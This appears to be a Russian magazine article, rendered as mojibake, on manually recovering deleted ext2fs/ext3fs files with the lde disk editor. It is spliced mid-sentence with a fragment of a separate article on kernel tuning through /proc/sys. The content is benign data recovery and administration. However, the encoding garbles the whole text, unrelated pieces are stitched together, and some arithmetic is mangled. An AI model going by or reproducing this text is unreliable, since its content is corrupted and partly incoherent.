ðàíÿåò èìÿ ôàéëà, íî ÷àñòè÷íî óíè÷òîæàåò ñõåìó åãî ðàçìåùåíèÿ íà
äèñêå, â ðåçóëüòàòå ÷åãî òåõíèêà âîññòàíîâëåíèÿ êîëîññàëüíî óñëîæíÿ-

àâòîìàòè÷åñêîå âîññòàíîâëåíèå 
óäàëåííûõ ôàéëîâ ñðåäñòâàìè Midnight Commander'a

R



òàëüíûõ ôàéëîâûõ ñèñòåìàõ òàêèõ, íàïðèìåð, êàê UFS, ïðåäóñìîòðåíà
âîçìîæíîñòü âûäåëåíèÿ ôàéëó òîëüêî ÷àñòè áëîêà, à â NTFS è ReiserFS
ìåëêèå ôàéëû ìîãóò õðàíèòüñÿ íåïîñðåäñòâåííî â ñàìîé inode, ÷òî ñó-
ùåñòâåííî óìåíüøàåò ôðàãìåíòàöèþ è óâåëè÷èâàåò ïðîèçâîäèòåëü-
íîñòü), íî âåðíåìñÿ ê ext2fs/ext3fs. Óêàçàòåëè íà 12 ïåðâûõ áëîêîâ, çàíè-
ìàåìûõ ôàéëîì, õðàíÿòñÿ ïðÿìî â inode, à òî÷íåå � â ìàññèâå DIRECT
BLOCKS, òàê æå íàçûâàåìîì ìàññèâîì íåïîñðåäñòâåííûõ áëîêîâ. Êàæ-
äûé ýëåìåíò ìàññèâà ïðåäñòàâëÿåò ñîáîé 32-áèòíûé íîìåð áëîêà. Ïîñ-
êîëüêó òèïè÷íûé ðàçìåð áëîêà ñîñòàâëÿåò ~4 Êá (êîíêðåòíîå çíà÷åíèå
çàâèñèò îò åìêîñòè äèñêà è îïöèé ôîðìàòèðîâàíèÿ), òî ìàññèâ íåïîñðå-
äñòâåííûõ áëîêîâ «ïåðåâàðèâàåò» ôàéëû äî 4*12 = 48 Êá. Åñëè äëèíà
ôàéëà ïðåâûøàåò ýòó âåëè÷èíó (à ó ïîäàâëÿþùåãî áîëüøèíñòâà ôàéëîâ
îíà ïðåâûøàåò), ïðèõîäèòñÿ ïðèáåãàòü ê áëîêàì êîñâåííîé àäðåñàöèè.
Ôàéëîâûå ñèñòåìû ext2fs/ext3fs ïîääåðæèâàþò òðè óðîâíÿ âëîæåííîñòè.
Ïåðâûé áëîê êîñâåííîé àäðåñàöèè õðàíèò óæå íå óêàçàòåëè íà áëîêè çà-
íÿòûõ ôàéëîâ, à óêàçàòåëè íà äîïîëíèòåëüíûå íåïîñðåäñòâåííûå áëîêè,
è ìîæåò àäðåñîâàòü äî BLOCK_SIZE/sizeof(DWORD) * BLOCK_SIZE =
4096/4*4 Ìá äàííûõ. ×òî æ! Ïîëâåêà íàçàä ýòî áûëà î÷åíü áîëüøàÿ âå-
ëè÷èíà, íî ñåé÷àñ ýòèì íèêîãî íå óäèâèøü. Íà ýòîò ñëó÷àé ïðåäóñìîòðåí
áëîê äâîéíîé êîñâåííîé àäðåñàöèè, õðàíÿùèé óêàçàòåëè íà êîñâåííûå
áëîêè, êîòîðûå õðàíÿò ññûëêè íà íåïîñðåäñòâåííûå áëîêè, ÷òî ïîçâîëÿ-
åò àäðåñîâàòü (BLOCK_SIZE/sizeof(DWORD))**2 * BLOCK_SIZE = 4096/4
** 4096 = 4 Ãá äàííûõ. Ýòî óæå âíóøèòåëüíàÿ âåëè÷èíà, ïðè êîòîðîé ðàç-
ìåð ôàéëà çàíèìàåò âñþ ðàçðÿäíóþ ñåòêó 32-áèòíîé ïåðåìåííîé. Áîëü-
øèíñòâî ïðèëîæåíèé îãðàíè÷èâàþò âåðõíèé ðàçìåð îáðàáàòûâàåìûõ
ôàéëîâ 2 èëè 4 Ãá. Òåì íå ìåíåå, ôàéëîâàÿ ñèñòåìà ñïîñîáíà õðàíèòü
ôàéëû áîëüøåãî ðàçìåðà. Ýòî îñóùåñòâëÿåòñÿ ñ ïîìîùüþ òðèæäû êîñ-
âåííîãî áëîêà, óêàçûâàþùåãî íà äâàæäû êîñâåííûå áëîêè, êàæäûé èç
êîòîðûõ óêàçûâàåò íà êîñâåííûå áëîêè, ññûëàþùèåñÿ íà áëîêè íåïîñðå-
äñòâåííîé àäðåñàöèè. Òàê ÷òî âîçìîæíîñòè ext2fs/ext3fs íàìíîãî ïðåâû-
øàþò åìêîñòè æåñòêèõ äèñêîâ íàñòîÿùåãî è áóäóùåãî.
Ïî ñðàâíåíèþ ñ FAT, òàêàÿ ñõåìà õðàíåíèÿ èíôîðìàöèè î ðàçìåùåíèè
ÿâëÿåòñÿ íàìíîãî áîëåå óñòîé÷èâîé ê ðàçðóøåíèÿì. Îíà êàê áû «ðàçìà-
çûâàåòñÿ» ïî âñåìó äèñêó, è óíè÷òîæèòü âñå áëîêè àäðåñàöèè ìîæíî
ðàçâå ÷òî äèíàìèòîì. Ê òîìó æå, íîìåðà áëîêîâ õðàíÿòñÿ â ïðÿìîì âè-
äå «êàê åñòü», à ýòî çíà÷èò, ÷òî äëÿ êàæäîãî áëîêà ôàéëà ìîæíî áûñò-
ðî íàéòè ñîîòâåòñòâóþùèé åìó êîñâåííûé áëîê, äàæå åñëè inode ïîë-
íîñòüþ ðàçðóøåíà.
Èìåíà ôàéëîâ õðàíÿòñÿ â äèðåêòîðèÿõ, è â inode èõ íåò. Äèðåêòîðèè
ïðåäñòàâëÿþò ñîáîé ñïåöèàëüíûå ñëóæåáíûå ôàéëû, ñîäåðæàùèå ìàñ-
ñèâ çàïèñåé òèïà:

[ôîðìàò ïðåäñòàâëåíèÿ ìàññèâà äèðåêòîðèé 
(ñìåùåíèå, ðàçìåð, îïèñàíèå)]

0 4 inode ; ññûëêà íà inod'ó
4 2 rec_len ; äëèíà äàííîé çàïèñè
6 1 name_len ; äëèíà èìåíè ôàéëà
7 1 file_type ; òèï ôàéëà
8 ... name ; èìÿ ôàéëà

Ïîëå inode ñîäåðæèò ïîðÿäêîâûé íîìåð inode, êîòîðîìó ñîîòâåòñòâóåò
äàííîå èìÿ ôàéëà; ïîëå rec_len çàäàåò äëèíó òåêóùåé çàïèñè, 
à name_len � äëèíó èìåíè ôàéëà. Ñàìî èìÿ õðàíèòñÿ â ASCII âèäå.

[÷òî ïðîèñõîäèò ïðè óäàëåíèè ôàéëà] Ïðè óäàëåíèè ôàéëà â
ñèñòåìå ïðîèñõîäèò ìíîæåñòâî èçìåíåíèé. Îïèøåì ëèøü ñàìûå âàæ-
íûå èç íèõ. Ïðåæäå âñåãî, ñèñòåìà îïðåäåëÿåò íîìåð ïðèíàäëåæà-
ùåé åìó inode. Çàòåì ñ÷åò÷èê ññûëîê óìåíüøàåòñÿ íà åäèíèöó, è åñ-
ëè ïðè ýòîì îí íå îáðàùàåòñÿ â íóëü, òî íèêàêîãî óäàëåíèÿ íå ïðîèñ-
õîäèò, ïîñêîëüêó ó ôàéëà åùå îñòàëèñü ññûëêè. Íàñ ýòîò ñëó÷àé íå
èíòåðåñóåò. Åñëè æå ññûëîê áîëüøå íåò, òî âñå áëîêè, ðàíåå ïðèíàä-
ëåæàùèå ôàéëó, â êàðòå ñâîáîäíîãî ïðîñòðàíñòâà ïîìå÷àþòñÿ êàê
íåèñïîëüçóåìûå, îáíîâëÿåòñÿ ïîëå âðåìåíè óäàëåíèÿ, à ñàìà inode
îñâîáîæäàåòñÿ, ÷òî îñóùåñòâëÿåòñÿ ïóòåì ìîäèôèêàöèè inode bitmap.
Â ext3fs â äîïîëíåíèè ê ýòîìó îáíóëÿþòñÿ óêàçàòåëè íà 12 áëîêîâ íå-
ïîñðåäñòâåííîé àäðåñàöèè è 3 áëîêà êîñâåííîé àäðåñàöèè, â ðåçóëü-
òàòå ÷åãî ñõåìà ðàçìåùåíèÿ ôàéëà îêàçûâàåòñÿ ÷àñòè÷íî óòðà÷åí-
íîé. Ôàéë äèðåêòîðèé òàêæå çàòðàãèâàþò ïåðåìåíû. Ext2fs îáíóëÿåò
ïîëå inode è óâåëè÷èâàåò ðàçìåð ïðåäøåñòâóþùåé çàïèñè íà âåëè÷è-
íó óäàëÿåìîé. Ïðåäøåñòâóþùàÿ çàïèñü êàê áû «ïîãëîùàåò» ïîñëåäó-
þùóþ, à ñâÿçü ìåæäó èìåíåì ôàéëà è ñîîòâåòñòâóþùåé åìó inode íå-
îáðàòèìî òåðÿåòñÿ. Òî åñòü ìû ìîæåì âîññòàíîâèòü ôàéë, íî áåñ-
ñèëüíû âåðíóòü åìó ïðåæíåå èìÿ. Ïðàâäà, ìîæíî ïîëó÷èòü ñïèñîê
âñåõ óäàëåííûõ èìåí, è òåì èëè èíûì ñïîñîáîì ïîïðîáîâàòü óãàäàòü
«íàøå» èìÿ. Ïðè âîññòàíîâëåíèè íåáîëüøîãî êîëè÷åñòâà ôàéëîâ ýòî
ñðàáàòûâàåò, íî åñëè óäàëåí âåñü êîðíåâîé êàòàëîã, òî ñèòóàöèÿ �

åòñÿ. Ê òîìó æå ext3fs ìåíåå ïðîèçâîäèòåëüíà, òàê ÷òî äëÿ äîìàøíèõ
êîìïüþòåðîâ ëó÷øå âñåãî èñïîëüçîâàòü ext2fs. Êàê îíà óñòðîåíà?
Â íà÷àëå ðàçäåëà ðàñïîëîæåí boot-ñåêòîð, çà íèì, ïî ñìåùåíèþ 1024
áàéòà, íàõîäèòñÿ ñóïåð-áëîê (super-block), îòâå÷àþùèé çà õðàíåíèå
êëþ÷åâîé èíôîðìàöèè î ñòðóêòóðå ôàéëîâîé ñèñòåìû (â ext2fs/ext3fs îí
èãðàåò òî÷íî òàêóþ æå ðîëü, ÷òî è boot-ñåêòîð â FAT è NTFS). Â íåì ìíî-
ãî ðàçëè÷íûõ ïîëåé, íî íàñ áóäåò èíòåðåñîâàòü ëèøü îäíî:
s_log_block_size. Ýòî 32-ðàçðÿäíîå ïîëå, ðàñïîëîæåííîå ïî ñìåùåíèþ
18h áàéò îò íà÷àëà ñóïåð-áëîêà. Êàê è ñëåäóåò èç åãî íàçâàíèÿ, îíî îï-
ðåäåëÿåò ðàçìåð îäíîãî áëîêà èëè, â òåðìèíîëîãèè MS-DOS/Windows,
êëàñòåðà. Ðàçìåð çàäàåòñÿ â âèäå ïîêàçàòåëÿ ñòåïåíè, íà êîòîðóþ ñäâè-
ãàåòñÿ ðàçìåð îäíîãî ñåêòîðà, ðàâíûé 200h (512 áàéò). Â ïåðåâîäå íà
ÿçûê ïðîãðàììèñòà ýòî çâó÷èò òàê: block_size = 200h << s_log_block_size.
Íàïðèìåð, åñëè s_log_block_size ðàâåí íóëþ, ðàçìåð îäíîãî áëîêà áó-
äåò 400h áàéò, òî åñòü äâà ñåêòîðà.
Çà ñóïåð-áëîêîì èäóò äåñêðèïòîðû ãðóïï è êàðòû ñâîáîäíîãî ïðîñòðàí-
ñòâà, â ïðîñòîðå÷èè � áèòìàïû, êîòîðûå íàì ìàëîèíòåðåñíû, à âîò ïðè-
ìûêàþùóþ ê íèì inode-òàáëèöó ìû ðàññìîòðèì ïîïîäðîáíåå, ïîñêîëüêó
áåç çíàíèÿ åå ñòðóêòóðû ðó÷íîå âîññòàíîâëåíèå äàííûõ ïðîñòî íåìûñëè-
ìî. Òàáëèöà ïðåäñòàâëÿåò ñîáîé ìàññèâ çàïèñåé òèïà inode, êàæäàÿ èç
êîòîðûõ õðàíèò âñþ èíôîðìàöèþ îá îäíîì ôàéëå: òèï (îáû÷íûé ôàéë,
äèðåêòîðèÿ, ñèìâîëüíàÿ ññûëêà è ò.ä.), ñõåìà ðàçìåùåíèÿ íà äèñêå, ëîãè-
÷åñêèé/ôèçè÷åñêèé ðàçìåð, äàòà/âðåìÿ ñîçäàíèÿ/ìîäèôèêàöèè/ïîñëåä-
íåãî äîñòóïà/óäàëåíèÿ, êîëè÷åñòâî ññûëîê íà ôàéë è ïðàâäà äîñòóïà:

[ôîðìàò ïðåäñòàâëåíèÿ inode (ñìåùåíèå, ðàçìåð, îïèñàíèå)]

0 2 i_mode ; ôîðìàò ïðåäñòàâëåíèÿ
2 2 i_uid ; uid ïîëüçîâàòåëÿ
4 4 i_size ; ðàçìåð ôàéëà â áàéòàõ
8 4 i_atime ; âðåìÿ ïîñëåäíåãî äîñòóïà ê ôàéëó
12 4 i_ctime ; âðåìÿ ñîçäàíèÿ ôàéëà
16 4 i_mtime ; âðåìÿ ìîäèôèêàöèè ôàéëà
20 4 i_dtime ; âðåìÿ óäàëåíèÿ ôàéëà
24 2 i_gid ; gid ãðóïïû
26 2 i_links_count

; êîëè÷åñòâî ññûëîê íà ôàéë (0 � ôàéë óäàëåí)
28 4 i_blocks

; êîëè÷åñòâî áëîêîâ, ïðèíàäëåæàùèõ ôàéëó
32 4 i_flags ; ðàçíûå ôëàãè
36 4 i_osd1 ; çíà÷åíèå, çàâèñèìîå îò ÎÑ
40 12 x 4 i_block ; 12 DIRECT BLOCKS 

(ññûëêè íà ïåðâûå 12 áëîêîâ ôàéëà)
88 4 i_iblock ; 1x INDIRECT BLOCK
92 4 i_2iblock ; 2x INDIRECT BLOCK
96 4 i_3iblock ; 3x INDIRECT BLOCK
100 4 i_generation

; ïîêîëåíèå ôàéëà (èñïîëüçóåòñÿ NFS)
104 4 i_file_acl ; âíåøíèå àòðèáóòû
108 4 i_dir_acl ; íàèâûñøèé ðàçìåð
112 4 i_faddr ; ïîëîæåíèå ïîñëåäíåãî ôðàãìåíòà
116 12 i_osd2 ; çíà÷åíèå, çàâèñèìîå îò ÎÑ
Ñõåìà ðàçìåùåíèÿ ôàéëà íà äèñêå îðãàíèçîâàíà íàìíîãî ïðîùå, ÷åì â
NTFS è FAT. Êàæäûé ôàéë çàíèìàåò îäèí èëè íåñêîëüêî áëîêîâ. Äàæå
åñëè áëîê çàíÿò òîëüêî ÷àñòè÷íî, îí âûäåëÿåòñÿ ôàéëó öåëèêîì (â îñ-

âîññòàíîâëåíèå óäàëåííûõ ôàéëîâ 
ñ ext2fs ðàçäåëà ñ ïîìîùüþ Windows-óòèëèòû R-Studio [X
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ëàñòû. À âîò ext3fs îñòàâëÿåò ïîëå inode íåèçìåííûì, áëàãîäàðÿ ÷åìó
çàäà÷à âîññòàíîâëåíèÿ èìåíè ñòàíîâèòñÿ òðèâèàëüíîé. Ïðîáëåìà â
òîì, ÷òî íà ext3fs óòðà÷èâàåòñÿ ñõåìà ðàçìåùåíèÿ ôàéëà, ÷òî ÷ðåç-
âû÷àéíî çàòðóäíÿåò âîññòàíîâëåíèå åãî ñîäåðæèìîãî.

[ïîäãîòîâêà ê âîññòàíîâëåíèþ] Åñëè òû òîëüêî ÷òî óäàëèë ôàéë,
òî ëó÷øèì ñïîñîáîì âîññòàíîâëåíèÿ áóäåò RESET. Áåç øóòîê! Ñèñòåìà
ñáðàñûâàåò äèñêîâûå áóôåðû íå ñðàçó, à ñïóñòÿ íåêîòîðîå âðåìÿ, ïîý-
òîìó ñâîåâðåìåííàÿ ïåðåçàãðóçêà èëè îòêëþ÷åíèå ïèòàíèÿ ÷àñòî ñïàñà-
åò ñèòóàöèþ, è ïîñëå çàãðóçêè ôàéë îêàæåòñÿ öåë è íåâðåäèì, ïðàâäà,
íà ñàìîì äèñêå ìîãóò îáðàçîâàòüñÿ çíà÷èòåëüíûå ðàçðóøåíèÿ, òàê ÷òî
ðèñê íåáëàãîïðèÿòíîãî èñõîäà î÷åíü âåëèê, è ëó÷øå âîñïîëüçîâàòüñÿ
áîëåå òðàäèöèîííûìè ñðåäñòâàìè âîññòàíîâëåíèÿ.
Ïåðâûì äåëîì ðàçìîíòèðóé äèñêîâûé ðàçäåë èëè ïåðåìîíòèðóé åãî
«òîëüêî íà ÷òåíèå». Ëå÷åíèå àêòèâíûõ ðàçäåëîâ îáû÷íî çàêàí÷èâàåòñÿ
î÷åíü ïå÷àëüíî. Åñëè âîññòàíàâëèâàåìûå ôàéëû íàõîäÿòñÿ íà ñèñòåì-
íîì ðàçäåëå, â ýòîì ñëó÷àå ìîæíî ïðèáåãíóòü ê LiveCD. Ëó÷øå âñåãî èñ-
ïîëüçîâàòü Knoppix. Îí ïîääåðæèâàåò áîëüøîå êîëè÷åñòâî îáîðóäîâà-
íèÿ, íå òðåáîâàòåëåí ê ðåñóðñàì è ñîäåðæèò âñå íåîáõîäèìûå óòèëèòû
äëÿ âîññòàíîâëåíèÿ.
Ðåäàêòèðóÿ äèñê íàïðÿìóþ, åãî ëåãêî èñïîðòèòü. Îäíî íåâåðíîå
äâèæåíèå ðóêè � è ãèãàáàéòû äàííûõ îáðàùàþòñÿ â ïðàõ. Ïîýòîìó
ïðè íàëè÷èè ñâîáîäíîãî ìåñòà ðåêîìåíäóåòñÿ ñîçäàòü êîïèþ ðàçäå-
ëà è âñå äàëüíåéøèå îïûòû ïðîâîäèòü óæå íàä íåé. Â ìèðå Windows
äëÿ ýòîé öåëè òðåáóåòñÿ ñïåöèàëüíûå óòèëèòû (íàïðèìåð, Norton
Ghost), íî Linux � ñîâñåì äðóãîå äåëî. Çäåñü âñå íåîáõîäèìîå íà-
õîäèòñÿ ïîä ðóêîé. Êîïèþ ðàçäåëà ïðîùå âñåãî ñîçäàòü êîìàíäîé cp
/dev/sdb1 dump, ãäå sdb1 � èìÿ óñòðîéñòâà, à dump � èìÿ ôàéëà-
äàìïà. Ôàéë-äàìï ìîæíî ðàçìåñòèòü íà ëþáîì ñâîáîäíîì ðàçäåëå
èëè äàæå ïåðåãíàòü íà ñîñåäíþþ ìàøèíó ïî ñåòè. Âñå äèñêîâûå óòè-
ëèòû (lde, debugsf, fschk) íå çàìåòÿò ïîäâîõà è áóäóò ðàáîòàòü ñ íèì,
êàê ñ «ðîäíûì» ðàçäåëîì. Åãî äàæå ìîæíî ñìîíòèðîâàòü êàê ôàé-
ëîâóþ ñèñòåìó: mount dump mount_point -o loop, ÷òîáû óáåäèòüñÿ,
÷òî âîññòàíîâëåíèå ïðîøëî óñïåøíî. Êîìàíäà cp dump /dev/sdb1
êîïèðóåò âîññòàíîâëåííûé äàìï îáðàòíî â ðàçäåë.

[ðó÷íîå âîññòàíîâëåíèå äàííûõ â äèñêîâîì ðåäàêòîðå]
×àùå âñåãî ëèíóêñîèäû ðåäàêòèðóþò äèñêè ïðè ïîìîùè lde (Linux
Disk Editor), ïðåäñòàâëÿþùèé ñîáîé ïðîôåññèîíàëüíûé ðåäàêòîð
êîíñîëüíîãî òèïà, ïåðåâàðèâàþùèé ext2fs, minix, xiafs è îò÷àñòè FAT.
Áåñïëàòåí, ðàñïðîñòðàíÿåòñÿ â èñõîäíûõ òåêñòàõ (lde.sf.net) è ðàáî-
òàåò ïðàêòè÷åñêè â ëþáîì *nix.
Êàê ñ íèì ðàáîòàòü? Ñíà÷àëà îòêðûâàåì âîññòàíàâëèâàåìûé ðàçäåë èëè
ôàéë-äàìï: lde /dev/sdb1 èëè lde dump. Lde ñàìîñòîÿòåëüíî îïðåäåëÿåò òèï
ôàéëîâîé ñèñòåìû è ïîñëå íàæàòèÿ ëþáîé êëàâèøè ïåðåõîäèò â ðåæèì
îòîáðàæåíèÿ ñóïåð-áëîêà. Òåïåðü êëàâèøà <I> ïåðåâîäèò íàñ â ðåæèì
inode, à <B> â áëî÷íûé ðåæèì. Æìåì <I>, è ðåäàêòîð ïåðåõîäèò ê ïåðâîé
inode, ïðèíàäëåæàùåé êîðíåâîìó êàòàëîãó. Äëÿ ïåðåõîäà ê ñëåäóþùåé
inode ñëóæèò êëàâèøà <Page Down>, à <Page Up>, ñîîòâåòñòâåííî, ê ïðåäû-
äóùåé. Òàêèì îáðàçîì, ìîæíî ïðîëèñòàòü âñå inode. Êàê îòëè÷èòü, êàêèå èç
íèõ ïðèíàäëåæàò óäàëåííûì ôàéëàì? Â ýòîì íàì ïîìîæåò ïîëå LINKS. Åñ-
ëè ôàéë óäàëåí, îíî ðàâíî íóëþ, è òîãäà DELETION TIME ñîäåðæèò âðåìÿ
ïîñëåäíåãî óäàëåíèÿ (ìû æå âåäü ïîìíèì, êîãäà óäàëÿëè ôàéë?). Õîðîøàÿ
èäåÿ � ïðîñêàíèðîâàòü òàáëèöó inode è îòñîðòèðîâàòü ôàéëû ïî äàòå óäà-
ëåíèÿ. Ôàéëû, óäàëåííûå ïîñëåäíèìè, îêàæóòñÿ â êîíöå ñïèñêà. Êàê âàðè-
àíò, ìîæíî èñêàòü äàòó óäàëåíèÿ êîíòåêñòíûì ïîèñêîì.
Îáíàðóæèâ ïîäõîäÿùóþ inode, ïåðåìåùàåì êóðñîð ê ïåðâîìó áëîêó â
ñïèñêå DIRECT BLOCKS (ãäå îí è íàõîäèòñÿ ïî óìîë÷àíèþ) è æìåì
<F2>. Â ïîÿâèâøåìñÿ ìåíþ âûáèðàåì ïóíêò Block mode, viewing block
under cursor, (êîòîðîìó, êñòàòè ãîâîðÿ, ñîîòâåòñòâóåò ãîðÿ÷àÿ êëàâèøà
<Shift-B>). Ðåäàêòîð ïåðåìåùàåò íàñ íà ïåðâûé áëîê óäàëåííîãî ôàéëà.
Ïðîñìàòðèâàÿ åãî ñîäåðæèìîå â hex-ðåæèìå, ïûòàåìñÿ îïðåäåëèòü «íà
ãëàç», ïîõîæ ëè îí íà íàø ôàéë èëè íåò? Äëÿ âîçâðàòà ê ïðîñìîòðó
ñïèñêà inode, ìîæíî íàæàòü <I>, à äëÿ âîññòàíîâëåíèÿ ôàéëà: <Shift-R>,
çàòåì åùå ðàç <R> è èìÿ ôàéëà-ïðèåìíèêà. Âñå! Ôàéë âîññòàíîâëåí!
Â íåêîòîðûõ ñëó÷àÿõ ïðåäïî÷òèòåëüíåå âîññòàíàâëèâàòü ôàéëû ïî èõ
ñîäåðæèìîìó. Ïðåäïîëîæèì, óäàëåííûé ôàéë ñîäåðæàë ñòðîêó hello,
world. Íàæèìàåì <f> (search), à çàòåì <A> (Search all block). Åñëè çàáûòü
íàæàòü <A>, òî ðåäàêòîð áóäåò ïðîïóñêàòü áëîêè, ïðèíàäëåæàùèå óäà-
ëåííûì ôàéëàì ïðè ïîèñêå, ÷òî ÿâíî íå âõîäèò â íàøè ïëàíû.
Òåïåðü íàæèìàåì <B> äëÿ ïåðåâîäà lde â block-mode, äàâèì </> è ââî-
äèì ASCII-ñòðîêó äëÿ ïîèñêà. Ðåäàêòîð, ïîøóðøàâ íåêîòîðîå âðåìÿ
æåñòêèì äèñêîì, íàõîäèò íóæíûé áëîê. Ñìîòðèì, äåéñòâèòåëüíî ëè ýòî
òîò áëîê, êîòîðûé íàì íóæåí, èëè ïðîèçîøëî íåäîðàçóìåíèå (ëîæíîå
ñðàáàòûâàíèå). Åñëè áëîê äåéñòâèòåëüíî íàø, æìåì <Ctrl-R>, è ðåäàê-
òîð ñîîáùàåò íîìåð inode, êîòîðîé ýòîò áëîê ïðèíàäëåæèò (îí îòîáðà-
æàåòñÿ âíèçó ýêðàíà, íå ñïóòàé åãî ñ íîìåðîì ïîñëåäíåé ïðîñìîòðåí-
íîé inode, îòîáðàæàåìîé ââåðõó). Êëàâèøà <I> ïåðåâîäèò íàñ â ðåæèì
inode, ïîñëå ÷åãî îñòàåòñÿ íàæàòü <#> è ââåñòè íîìåð inode, êîòîðóþ ìû
õîòèì ïðîñìîòðåòü. Åñëè äàòà óäàëåíèÿ âûãëÿäèò âïîëíå ïðàâäîïîäîá-
íî, íàæèìàåì <Shift-R>/<R> è ñáðàñûâàåì ôàéë íà äèñê. Âñå ýòî ðàáî-
òàåò òîëüêî ñ ext2fs, è íå ïðèãîäíî äëÿ ext3fs, ïîñêîëüêó, êàê óæå ãîâî-
ðèëîñü, îíà çàòèðàåò ñõåìó ðàçìåùåíèÿ ôàéëîâ íà äèñêå, è äàííûå
ïðèõîäèòñÿ âîññòàíàâëèâàòü áóêâàëüíî ïî êóñî÷êàì.

[çàêëþ÷åíèå] Ðó÷íîå âîññòàíîâëåíèå ôàéëîâ ïîä ext2fs ñîâñåì íåñ-
ëîæíîå äåëî, è ýòîìó ìîæåò íàó÷èòüñÿ ëþáîé æåëàþùèé. Âîññòàíîâëå-
íèå äàííûõ � ýòî èñêóññòâî, êîòîðîìó ó÷àòñÿ ãîäàìè, è åñëè ó òåáÿ åñòü
æåëàíèå óçíàòü áîëüøå, çàõîäè íà ìîé ftp-ñåðâåð nezumi.org.ru. Çäåñü
ìîæíî íàéòè óéìó èíòåðåñíûõ ìàòåðèàëîâ ïî âîññòàíîâëåíèþ. À åùå ó
ìåíÿ çàïëàíèðîâàíà êíèæêà, êîòîðàÿ òàê è íàçûâàåòñÿ: «Òåõíèêà âîñ-
ñòàíîâëåíèÿ äàííûõ ïîä Windows è UNIX»

ïðîñìîòð ñîäåðæèìîãî inode âîññòàíîâëåíèå ôàéëà ïî ñîäåðæèìîìó

âíåøíèé âèä ðåäàêòîðà lde





[òåîðèÿ] Êàòàëîã /proc/sys ÿâëÿåòñÿ ÷àñòüþ
âèðòóàëüíîé ôàéëîâîé ñèñòåìû procfs, î êîòî-
ðîé ÿ ðàññêàçûâàë â ïðîøëîé ñòàòüå. Âïåðâûå
îí ïîÿâèëñÿ â ÿäðå âåðñèè 1.3.57 â êà÷åñòâå èí-
òåðôåéñà, ïîçâîëÿþùåãî ïîëó÷èòü äîñòóï ê ïå-
ðåìåííûì ÿäðà. Â íàñòîÿùèé ìîìåíò ïðè ïî-
ìîùè /proc/sys ìîæíî èçìåíèòü íàñòðîéêè:
ôàéëîâûõ ñèñòåì, âèðòóàëüíîé ïàìÿòè, ñåòå-
âîãî ñòåêà è âíóòðåííèõ ñòðóêòóð ÿäðà. Òàêæå
âî ìíîãèõ äèñòðèáóòèâàõ ìîæíî íàéòè óäîáíóþ
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Òîíêàÿ íàñòðîéêà 
ÿäðà ñ ïîìîùüþ
ìåõàíèçìà sysctl

è áëèçêóþ ïîëüçîâàòåëÿì BSD-ñèñòåì óòèëèòó /sbin/sysctl, âûïîëíÿþ-
ùóþ òå æå ôóíêöèè.

[ïðàêòè÷åñêèå çàíÿòèÿ] Òåïåðü ïåðåéäåì íåïîñðåäñòâåííî 
ê òþíèíãó. Êàòàëîã /proc/sys ñîäåðæèò ïÿòü îñíîâíûõ ýëåìåíòîâ:

1 kernel � ñòðóêòóðû ÿäðà

2 vm � ïîäñèñòåìà âèðòóàëüíîé ïàìÿòè

3 dev � óïðàâëåíèå îáîðóäîâàíèåì

4 net � ñåòåâûå íàñòðîéêè

5 fs � ôàéëîâûå ñèñòåìû

×åðåç ôàéëû, íàõîäÿùèåñÿ â ïðèâåäåííûõ êàòàëîãàõ, ìîæíî óïðàâëÿòü
ñîîòâåòñòâóþùèìè ïîäñèñòåìàìè ÿäðà. Ïîëó÷åíèå òåêóùèõ íàñòðîåê
ïðîèñõîäèò ïóòåì ÷òåíèå ôàéëà, à èçìåíåíèå � çàïèñüþ â ýòîò ôàéë.
Ðàçóìååòñÿ, ïðîèçâîäèòü çàïèñü èìååò ïðàâî òîëüêî root. Ïðèâåäó ïðè-
ìåð. Óçíàåì òåêóùåå ñåòåâîå èìÿ íàøåé ìàøèíû:

$ cat /proc/sys/kernel/hostname
localhost

Èçìåíèì åãî:

âîò ÷òî ãîâîðèò man î /proc/sys



ôàéëû shmall (ìàêñèìàëüíîå êîëè÷åñòâî ñåãìåíòîâ), shmmax (ìàêñè-
ìàëüíûé ðàçìåð ñåãìåíòà) è shmmin (ìèíèìàëüíûé ðàçìåð ñåãìåíòà).
Åñëè ó òåáÿ åñòü ïðèëîæåíèå, ðàáîòàþùåå îäíîâðåìåííî ñ îãðîìíûì
êîëè÷åñòâîì ôàéëîâ (áàçà äàííûõ, âåá-ñåðâåð è ò.ï.), òî áóäåò ïîëåç-
íûì óâåëè÷èòü ÷èñëî îäíîâðåìåííî îòêðûòûõ ôàéëîâ, çàïèñàâ â
/proc/sys/kernel/pid_max íåîáõîäèìîå çíà÷åíèå.
Òåïåðü ïåðåéäåì ê áîëåå ñèñòåìíûì âåùàì. Íàâåðíÿêà òû ñòàëêèâàëñÿ
ñ òàêîé ïðîáëåìîé, êàê «ïàíèêà ÿäðà». Ýòî ïðîèñõîäèò, êîãäà ÿäðî ïî
êàêèì-ëèáî ïðè÷èíàì íå ìîæåò âûïîëíÿòü äàëüíåéøóþ ðàáîòó (ñàìàÿ
÷àñòàÿ ïðè÷èíà � îòñóòñòâèå ïîääåðæêè êîðíåâîé ôàéëîâîé ñèñòåìû).
Ïî óìîë÷àíèþ ìàøèíà ïðîñòî îñòàíàâëèâàåòñÿ, íî íåïëîõî áûëî áû óñ-
òàíîâèòü íåáîëüøîé òàéìàóò, ïî èñòå÷åíèþ êîòîðîãî âûïîëíÿëàñü áû
ïåðåçàãðóçêà. Ýòî ëåãêî ñäåëàòü, ïðîïèñàâ â ôàéë /proc/sys/kernel/panic
÷èñëî, îòðàæàþùåå èíòåðâàë â ñåêóíäàõ. Ìåíåå ïëà÷åâíàÿ ñèòóàöèÿ �
ýòî oops, êîãäà ÿäðî åùå â ñîñòîÿíèè ïðîäîëæàòü ðàáîòó, ÷òî è äåëàåò
ïî äåôîëòó. Íî ïðîïèñàâ â /proc/sys/kernel/panic_on_oops åäèíèöó, òû
çàñòàâèøü ÿäðî ïàíèêîâàòü è â ýòîì ñëó÷àå.
Ïðè ôîðìèðîâàíèè core-ôàéëà åãî èìÿ ïðèíèìàåò âèä èìåíè îáðóøèâ-
øåéñÿ ïðîãðàììû ïëþñ ðàñøèðåíèå, êîòîðîå èçâëåêàåòñÿ èç /proc/sys/ker-
nel/core_pattern. Ñîîòâåòñòâåííî, åñëè òåáå ÷åì-òî íå ïðèãëÿíóëîñü ðàñøè-
ðåíèå .core, òû ìîæåøü åãî ëåãêî èçìåíèòü. Â äîïîëíåíèå ê ýòîé âîçìîæ-
íîñòè ìîæíî çàïèñàòü â ôàéë /proc/sys/kernel/core_uses_pid åäèíèöó, è ê
